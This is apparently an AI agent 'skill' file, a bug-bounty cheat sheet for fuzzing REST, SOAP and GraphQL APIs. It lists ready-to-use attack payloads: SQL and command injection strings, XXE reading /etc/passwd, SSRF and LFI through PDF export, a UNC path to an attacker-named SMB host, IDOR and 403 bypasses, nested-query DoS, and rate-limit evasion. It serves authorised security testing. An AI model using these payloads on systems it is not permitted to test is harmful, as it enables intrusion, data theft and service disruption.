API Fuzzing for Bug Bounty Skill

API Fuzzing for Bug Bounty

Purpose

Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.

Inputs/Prerequisites

Burp Suite or similar proxy tool
API wordlists (SecLists, api_wordlist)
Understanding of REST/GraphQL/SOAP protocols
Python for scripting
Target API endpoints and documentation (if available)

Outputs/Deliverables

Identified API vulnerabilities
IDOR exploitation proofs
Authentication bypass techniques
SQL injection points
Unauthorized data access documentation

API Types Overview

| Type | Protocol | Data Format | Structure | |------|----------|-------------|-----------| | SOAP | HTTP | XML | Header + Body | | REST | HTTP | JSON/XML/URL | Defined endpoints | | GraphQL | HTTP | Custom Query | Single endpoint |

Core Workflow

Step 1: API Reconnaissance

Identify API type and enumerate endpoints:

# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html

# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite

# Extract paths from Swagger
python3 json2paths.py swagger.json

Step 2: Authentication Testing

# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login

# Check rate limiting on auth endpoints
# If no rate limit → brute force possible

# Test mobile vs web API separately
# Don't assume same security controls

Step 3: IDOR Testing

Insecure Direct Object Reference is the most common API vulnerability:

# Basic IDOR
GET /api/users/1234 → GET /api/users/1235

# Even if ID is email-based, try numeric
/?user_id=111 instead of /?user_id=user@mail.com

# Test /me/orders vs /user/654321/orders

IDOR Bypass Techniques:

# Wrap ID in array
{"id":111} → {"id":[111]}

# JSON wrap
{"id":111} → {"id":{"id":111}}

# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>

# Wildcard injection
{"user_id":"*"}

# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}

Step 4: Injection Testing

SQL Injection in JSON:

{"id":"56456"}                    → OK
{"id":"56456 AND 1=1#"}           → OK  
{"id":"56456 AND 1=2#"}           → OK
{"id":"56456 AND 1=3#"}           → ERROR (vulnerable!)
{"id":"56456 AND sleep(15)#"}     → SLEEP 15 SEC

Command Injection:

# Ruby on Rails
?url=Kernel#open → ?url=|ls

# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/

XXE Injection:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

SSRF via API:

<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>

.NET Path.Combine Vulnerability:

# If .NET app uses Path.Combine(path_1, path_2)
# Test for path traversal
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png

Step 5: Method Testing

# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1

# Switch content type
Content-Type: application/json → application/xml

GraphQL-Specific Testing

Introspection Query

Fetch entire backend schema:

{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}

URL-encoded version:

/graphql?query={__schema{types{name,kind,description,fields{name}}}}

GraphQL IDOR

# Try accessing other user IDs
query {
  user(id: "OTHER_USER_ID") {
    email
    password
    creditCard
  }
}

GraphQL SQL/NoSQL Injection

mutation {
  login(input: {
    email: "test' or 1=1--"
    password: "password"
  }) {
    success
    jwt
  }
}

Rate Limit Bypass (Batching)

mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}

GraphQL DoS (Nested Queries)

query {
  posts {
    comments {
      user {
        posts {
          comments {
            user {
              posts { ... }
            }
          }
        }
      }
    }
  }
}

GraphQL XSS

# XSS via GraphQL endpoint
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}

# URL-encoded XSS
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E

GraphQL Tools

| Tool | Purpose | |------|---------| | GraphCrawler | Schema discovery | | graphw00f | Fingerprinting | | clairvoyance | Schema reconstruction | | InQL | Burp extension | | GraphQLmap | Exploitation |

Endpoint Bypass Techniques

When receiving 403/401, try these bypasses:

# Original blocked request
/api/v1/users/sensitivedata → 403

# Bypass attempts
/api/v1/users/sensitivedata.json
/api/v1/users/sensitivedata?
/api/v1/users/sensitivedata/
/api/v1/users/sensitivedata??
/api/v1/users/sensitivedata%20
/api/v1/users/sensitivedata%09
/api/v1/users/sensitivedata#
/api/v1/users/sensitivedata&details
/api/v1/users/..;/sensitivedata

Output Exploitation

PDF Export Attacks

<!-- LFI via PDF export -->
<iframe src="file:///etc/passwd" height=1000 width=800>

<!-- SSRF via PDF export -->
<object data="http://127.0.0.1:8443"/>

<!-- Port scanning -->
<img src="http://127.0.0.1:445"/>

<!-- IP disclosure -->
<img src="https://iplogger.com/yourcode.gif"/>

DoS via Limits

# Normal request
/api/news?limit=100

# DoS attempt
/api/news?limit=9999999999

Common API Vulnerabilities Checklist

| Vulnerability | Description | |---------------|-------------| | API Exposure | Unprotected endpoints exposed publicly | | Misconfigured Caching | Sensitive data cached incorrectly | | Exposed Tokens | API keys/tokens in responses or URLs | | JWT Weaknesses | Weak signing, no expiration, algorithm confusion | | IDOR / BOLA | Broken Object Level Authorization | | Undocumented Endpoints | Hidden admin/debug endpoints | | Different Versions | Security gaps in older API versions | | Rate Limiting | Missing or bypassable rate limits | | Race Conditions | TOCTOU vulnerabilities | | XXE Injection | XML parser exploitation | | Content Type Issues | Switching between JSON/XML | | HTTP Method Tampering | GET→DELETE/PUT abuse |

Quick Reference

| Vulnerability | Test Payload | Risk | |---------------|--------------|------| | IDOR | Change user_id parameter | High | | SQLi | ' OR 1=1-- in JSON | Critical | | Command Injection | ; ls / | Critical | | XXE | DOCTYPE with ENTITY | High | | SSRF | Internal IP in params | High | | Rate Limit Bypass | Batch requests | Medium | | Method Tampering | GET→DELETE | High |

Tools Reference

| Category | Tool | URL | |----------|------|-----| | API Fuzzing | Fuzzapi | github.com/Fuzzapi/fuzzapi | | API Fuzzing | API-fuzzer | github.com/Fuzzapi/API-fuzzer | | API Fuzzing | Astra | github.com/flipkart-incubator/Astra | | API Security | apicheck | github.com/BBVA/apicheck | | API Discovery | Kiterunner | github.com/assetnote/kiterunner | | API Discovery | openapi_security_scanner | github.com/ngalongc/openapi_security_scanner | | API Toolkit | APIKit | github.com/API-Security/APIKit | | API Keys | API Guesser | api-guesser.netlify.app | | GUID | GUID Guesser | gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18 | | GraphQL | InQL | github.com/doyensec/inql | | GraphQL | GraphCrawler | github.com/gsmith257-cyber/GraphCrawler | | GraphQL | graphw00f | github.com/dolevf/graphw00f | | GraphQL | clairvoyance | github.com/nikitastupin/clairvoyance | | GraphQL | batchql | github.com/assetnote/batchql | | GraphQL | graphql-cop | github.com/dolevf/graphql-cop | | Wordlists | SecLists | github.com/danielmiessler/SecLists | | Swagger Parser | Swagger-EZ | rhinosecuritylabs.github.io/Swagger-EZ | | Swagger Routes | swagroutes | github.com/amalmurali47/swagroutes | | API Mindmap | MindAPI | dsopas.github.io/MindAPI/play | | JSON Paths | json2paths | github.com/s0md3v/dump/tree/master/json2paths |

Constraints

Must:

Test mobile, web, and developer APIs separately
Check all API versions (/v1, /v2, /v3)
Validate both authenticated and unauthenticated access

Must Not:

Assume same security controls across API versions
Skip testing undocumented endpoints
Ignore rate limiting checks

Should:

Add X-Requested-With: XMLHttpRequest header to simulate frontend
Check archive.org for historical API endpoints
Test for race conditions on sensitive operations

Examples

Example 1: IDOR Exploitation

# Original request (own data)
GET /api/v1/invoices/12345
Authorization: Bearer <token>

# Modified request (other user's data)
GET /api/v1/invoices/12346
Authorization: Bearer <token>

# Response reveals other user's invoice data

Example 2: GraphQL Introspection

curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name,fields{name}}}}"}'

Troubleshooting

| Issue | Solution | |-------|----------| | API returns nothing | Add X-Requested-With: XMLHttpRequest header | | 401 on all endpoints | Try adding ?user_id=1 parameter | | GraphQL introspection disabled | Use clairvoyance for schema reconstruction | | Rate limited | Use IP rotation or batch requests | | Can't find endpoints | Check Swagger, archive.org, JS files |

When to Use

This skill is applicable to execute the workflow or actions described in the overview.

Agent Skills: API Fuzzing for Bug Bounty

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